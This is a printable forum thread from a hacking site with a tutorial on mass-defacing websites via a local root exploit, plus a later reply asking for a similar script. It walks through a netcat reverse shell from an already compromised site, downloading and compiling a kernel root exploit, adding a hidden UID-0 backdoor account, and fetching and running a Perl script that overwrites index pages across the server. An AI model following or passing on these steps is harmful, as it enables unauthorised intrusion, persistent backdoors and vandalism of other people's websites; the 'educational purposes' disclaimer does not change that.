![]() |
|
Tutorial Mass Deface via Local Root - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking) +--- Thread: Tutorial Mass Deface via Local Root (/Thread-Tutorial-Mass-Deface-via-Local-Root) |
Mass Deface via Local Root - Zealotry - 11-29-2012 How to Crack WPA/WPA2 About this TuT
This tutorial will be how to deface many websites at once.
You'll need several files: Shelled Website NetCat A Local Root Exploit Mass Perl Script VPN, Tor, etc. First off, we have to have a basic understanding of what root is. Root is basically the administrator of servers. With root, a person can delete files, copy files, add and delete files, etc. Getting Started - Preparation
Now,
Check what kernel the server is using. This is shown on the shell that you uploaded. Or, you can Execute Case on the shell and execute uname -a for the same result. Check for an exploit in the Pastebin linked above. Next, open up a port (I always use 443). Open netcat and type: Code: -l -n -v -p 443Go back to your shell and go to backconnect. Enter the port you opened and press connect. It should then connect to your netcat. Now, you need to wget the exploit link (They're Here) in netcat. It will download the zip to the server. If the exploit is downloaded as: EXPLOITNAMEHERE.c Then simply compile it by Code: gcc EXPLOITNAMEHERE.c -o EXPLOITNAMEHEREIf it downloaded as EXPLOITNAMEHERE.zip, simply: Code: unzip EXPLOITNAMEHERE.zip.Getting Root
Type:
Code: chmod 777 EXPLOITNAMEHERECode: ./EXPLOITNAMEHERECode: id (You can also do whoami)Now, we'll add a new root user. Command is: Code: adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M DESIREDROOTNAMENow, password for root (you're almost done): Code: passwd DESIREDROOTNAMECode: id DESIREDROOTNAMEMass Defacing
Now, for the fun part.
Code: cd /tmpThen wget the site you uploaded that mass.zip to: Code: wget WWW.SITENAMEHERE.COM/WHEREEVER/mass.zipThen unzip...: Code: unzip mass.zipCode: perl mass.pl
perl mass.pl /tmp/index.html
wget www.abc.com/index.html (THIS IS YOUR DEFACE PAGE!)Now for the final step... Code: perl mass.pl /tmp/index.htmlEnjoy, this is for educational purposes, and only you are responsible for your actions. Credits to whoever I learned this from (several sources that I never saved). Zealotry RE: Mass Deface via Local Root - Day_Ghoul - 01-01-2020 What if you need a port deface, i saw a video firehawk made but couldnt find the scrpt cn u hlp me pls. |